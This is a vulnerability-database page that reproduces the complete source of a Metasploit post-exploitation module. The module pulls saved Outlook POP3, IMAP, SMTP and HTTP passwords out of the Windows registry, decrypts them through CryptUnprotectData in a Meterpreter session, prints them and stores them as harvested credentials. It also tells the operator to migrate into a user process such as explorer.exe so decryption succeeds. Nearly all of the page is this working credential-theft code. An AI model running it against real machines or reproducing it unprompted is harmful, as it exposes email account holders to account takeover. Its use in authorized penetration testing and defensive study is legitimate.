Lucene search

K

Windows Gather Microsoft Outlook Saved Password Extraction

🗓️ 01 Feb 2012 18:35:26Reported by Justin CacakType 
metasploit
 metasploit
🔗 www.rapid7.com👁 46 Views

Windows Gather Microsoft Outlook Saved Password Extraction. This module decrypts and extracts saved Microsoft Outlook passwords from Windows Registry for POP3/IMAP/SMTP/HTTP accounts under the same privileges as the user

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
# -*- coding: binary -*-

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Priv
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',
        'Description' => %q{
          This module extracts and decrypts saved Microsoft
          Outlook (versions 2002-2010) passwords from the Windows
          Registry for POP3/IMAP/SMTP/HTTP accounts.
          In order for decryption to be successful, this module must be
          executed under the same privileges as the user which originally
          encrypted the password.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Justin Cacak' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365)
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_sys_config_getuid
              stdapi_sys_process_attach
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
    )
  end

  def prepare_railgun
    if !session.railgun.get_dll('crypt32')
      session.railgun.add_dll('crypt32')
    end
  end

  def decrypt_password(data)
    pid = client.sys.process.getpid
    process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

    mem = process.memory.allocate(128)
    process.memory.write(mem, data)

    if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
      addr = [mem].pack('V')
      len = [data.length].pack('V')
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
      len, addr = ret['pDataOut'].unpack('V2')
    else
      addr = [mem].pack('Q')
      len = [data.length].pack('Q')
      ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
      len, addr = ret['pDataOut'].unpack('Q2')
    end

    return '' if len == 0

    decrypted_pw = process.memory.read(addr, len)
    return decrypted_pw
  end

  # Just a wrapper to avoid copy pasta and long lines
  def get_valdata(key, name)
    registry_getvaldata("#{@key_base}\\#{key}", name)
  end

  def get_registry(outlook_ver)
    # Determine if saved accounts exist within Outlook.  Ignore the Address Book and Personal Folder registry entries.
    outlook_exists = 0
    saved_accounts = 0

    # Check for registry key based on Outlook version pulled from registry
    @key_base = "HKCU\\Software\\Microsoft\\Office\\#{outlook_ver}.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
    next_account_id = get_valdata('', 'NextAccountID')

    # Default to original registry key for module
    if next_account_id.nil?
      @key_base = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676'
      next_account_id = get_valdata('', 'NextAccountID')
    end

    if !next_account_id.nil?
      # Microsoft Outlook not found

      print_status 'Microsoft Outlook found in Registry...'
      outlook_exists = 1
      registry_enumkeys(@key_base).each do |k|
        display_name = get_valdata(k, 'Display Name')

        if display_name.nil?
          # Microsoft Outlook found, but no account data saved in this location
          next
        end

        # Account found - parse through registry data to determine account type.  Parse remaining registry data after to speed up module.
        saved_accounts = 1
        got_user_pw = 0

        displayname = get_valdata(k, 'Display Name')
        email = get_valdata(k, 'Email')
        pop3_server = get_valdata(k, 'POP3 Server')
        smtp_server = get_valdata(k, 'SMTP Server')
        http_server_url = get_valdata(k, 'HTTP Server URL')
        imap_server = get_valdata(k, 'IMAP Server')
        smtp_use_auth = get_valdata(k, 'SMTP Use Auth')
        if !smtp_use_auth.nil?
          smtp_user = get_valdata(k, 'SMTP User')
          smtp_password = get_valdata(k, 'SMTP Password')
          smtp_auth_method = get_valdata(k, 'SMTP Auth Method')
        end

        if !pop3_server.nil?
          type = 'POP3'
        elsif !http_server_url.nil?
          type = 'HTTP'
        elsif !imap_server.nil?
          type = 'IMAP'
        else
          type = 'UNKNOWN'
        end

        # Decrypt password and output results.  Need to do each separately due to the way Microsoft stores them.
        print_good('Account Found:')
        print_status("     Type: #{type}")
        print_status("     User Display Name: #{displayname}")
        print_status("     User Email Address: #{email}")

        if type == 'POP3'
          pop3_pw = get_valdata(k, 'POP3 Password')
          pop3_user = get_valdata(k, 'POP3 User')
          pop3_use_spa = get_valdata(k, 'POP3 Use SPA')
          smtp_port = get_valdata(k, 'SMTP Port')

          print_status("     User Name: #{pop3_user}")
          if pop3_pw.nil?
            print_status('     User Password: <not stored>')
          else
            pop3_pw.slice!(0, 1)
            pass = decrypt_password(pop3_pw)
            print_status("     User Password: #{pass}")
            # Prepare data for creds
            got_user_pw = 1
            host = pop3_server
            user = pop3_user
          end

          if !pop3_use_spa.nil? # Account for SPA (NTLM auth)
            print_status('     Secure Password Authentication (SPA): Enabled')
          end

          print_status("     Incoming Mail Server (POP3): #{pop3_server}")

          pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')
          if pop3_use_ssl.nil?
            print_status('     POP3 Use SSL: No')
          else
            print_status('     POP3 Use SSL: Yes')
          end

          pop3_port = get_valdata(k, 'POP3 Port')
          if pop3_port.nil?
            print_status('     POP3 Port: 110')
            portnum = 110
          else
            print_status("     POP3 Port: #{pop3_port}")
            portnum = pop3_port
          end

          if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
            print_status("     Outgoing Mail Server (SMTP): #{smtp_server}")
          else
            print_status("     Outgoing Mail Server (SMTP): #{smtp_server}   [Authentication Required]")
            # Check if smtp_auth_method is null.  If so, the inbound credentials are utilized
            if smtp_auth_method.nil?
              smtp_user = pop3_user
              smtp_decrypted_password = pass
            else
              smtp_password.slice!(0, 1)
              smtp_decrypted_password = decrypt_password(smtp_password)
            end
            print_status("     Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
            print_status("     Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
          end

          smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
          if smtp_use_ssl.nil?
            print_status('     SMTP Use SSL: No')
          else
            print_status('     SMTP Use SSL: Yes')
          end

          if smtp_port.nil?
            print_status('     SMTP Port: 25')
            smtp_port = 25
          else
            print_status("     SMTP Port: #{smtp_port}")
          end

        elsif type == 'HTTP'
          http_password = get_valdata(k, 'HTTP Password')
          http_user = get_valdata(k, 'HTTP User')
          http_use_spa = get_valdata(k, 'HTTP Use SPA')

          print_status("     User Name: #{http_user}")
          if http_password.nil?
            print_status('     User Password: <not stored>')
          else
            http_password.slice!(0, 1)
            pass = decrypt_password(http_password)
            print_status("     User Password: #{pass}")
            got_user_pw = 1
            host = http_server_url
            user = http_user

            # Detect 80 or 443 for creds
            http_server_url.downcase!
            if http_server_url.include? "h\x00t\x00t\x00p\x00s"
              portnum = 443
            else
              portnum = 80
            end
          end

          if !http_use_spa.nil? # Account for SPA (NTLM auth)
            print_status('     Secure Password Authentication (SPA): Enabled')
          end

          print_status("     HTTP Server URL: #{http_server_url}")

        elsif type == 'IMAP'
          imap_user = get_valdata(k, 'IMAP User')
          imap_use_spa = get_valdata(k, 'IMAP Use SPA')
          imap_password = get_valdata(k, 'IMAP Password')
          smtp_port = get_valdata(k, 'SMTP Port')

          print_status("     User Name: #{imap_user}")
          if imap_password.nil?
            print_status('     User Password: <not stored>')
          else
            imap_password.slice!(0, 1)
            pass = decrypt_password(imap_password)
            print_status("     User Password: #{pass}")
            got_user_pw = 1
            host = imap_server
            user = imap_user
          end

          if !imap_use_spa.nil? # Account for SPA (NTLM auth)
            print_status('     Secure Password Authentication (SPA): Enabled')
          end

          print_status("     Incoming Mail Server (IMAP): #{imap_server}")

          imap_use_ssl = get_valdata(k, 'IMAP Use SSL')
          if imap_use_ssl.nil?
            print_status('     IMAP Use SSL: No')
          else
            print_status('     IMAP Use SSL: Yes')
          end

          imap_port = get_valdata(k, 'IMAP Port')
          if imap_port.nil?
            print_status('     IMAP Port: 143')
            portnum = 143
          else
            print_status("     IMAP Port: #{imap_port}")
            portnum = imap_port
          end

          if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
            print_status("     Outgoing Mail Server (SMTP): #{smtp_server}")
          else
            print_status("     Outgoing Mail Server (SMTP): #{smtp_server}   [Authentication Required]")
            # Check if smtp_auth_method is null.  If so, the inbound credentials are utilized
            if smtp_auth_method.nil?
              smtp_user = imap_user
              smtp_decrypted_password = pass
            else
              smtp_password.slice!(0, 1)
              smtp_decrypted_password = decrypt_password(smtp_password)
            end
            print_status("     Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
            print_status("     Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
          end

          smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
          if smtp_use_ssl.nil?
            print_status('     SMTP Use SSL: No')
          else
            print_status('     SMTP Use SSL: Yes')
          end

          if smtp_port.nil?
            print_status('     SMTP Port: 25')
            smtp_port = 25
          else
            print_status("     SMTP Port: #{smtp_port}")
          end

        end

        if got_user_pw == 1
          service_data = {
            address: Rex::Socket.getaddress(host),
            port: portnum,
            protocol: 'tcp',
            service_name: type,
            workspace_id: myworkspace_id
          }

          credential_data = {
            origin_type: :session,
            session_id: session_db_id,
            post_reference_name: refname,
            username: user,
            private_data: pass,
            private_type: :password
          }

          credential_core = create_credential(credential_data.merge(service_data))

          login_data = {
            core: credential_core,
            access_level: 'User',
            status: Metasploit::Model::Login::Status::UNTRIED
          }

          create_credential_login(login_data.merge(service_data))
        end

        if !smtp_use_auth.nil?
          service_data = {
            address: Rex::Socket.getaddress(smtp_server),
            port: smtp_port,
            protocol: 'tcp',
            service_name: 'smtp',
            workspace_id: myworkspace_id
          }

          credential_data = {
            origin_type: :session,
            session_id: session_db_id,
            post_reference_name: refname,
            username: smtp_user,
            private_data: smtp_decrypted_password,
            private_type: :password
          }

          credential_core = create_credential(credential_data.merge(service_data))

          login_data = {
            core: credential_core,
            access_level: 'User',
            status: Metasploit::Model::Login::Status::UNTRIED
          }

          create_credential_login(login_data.merge(service_data))
        end

        print_status('')
      end
    end

    if outlook_exists == 0
      print_status('Microsoft Outlook not installed or Exchange accounts are being used.')
    elsif saved_accounts == 0
      print_status('Microsoft Outlook installed however no accounts stored in Registry.')
    end
  end

  def outlook_version
    val = registry_getvaldata('HKCR\\Outlook.Application\\CurVer', '')
    if !val.nil?
      idx = val.rindex('.')
      val[idx + 1..]
    end
  end

  def run
    # Get Outlook version from registry
    outlook_ver = outlook_version
    fail_with(Failure::NotFound, 'Microsoft Outlook version not found in registry.') if outlook_ver.nil?

    print_status("Microsoft Outlook Version: #{outlook_ver}")
    uid = session.sys.config.getuid # Get uid.  Decryption will only work if executed under the same user account as the password was encrypted.
    # **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.

    if is_system?
      print_error("This module is running under #{uid}.")
      print_error('Automatic decryption will not be possible.')
      print_error('Migrate to a user process to achieve successful decryption (e.g. explorer.exe).')
    else
      print_status('Searching for Microsoft Outlook in Registry...')
      prepare_railgun
      get_registry(outlook_ver)
    end

    print_status('Complete')
  end
end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo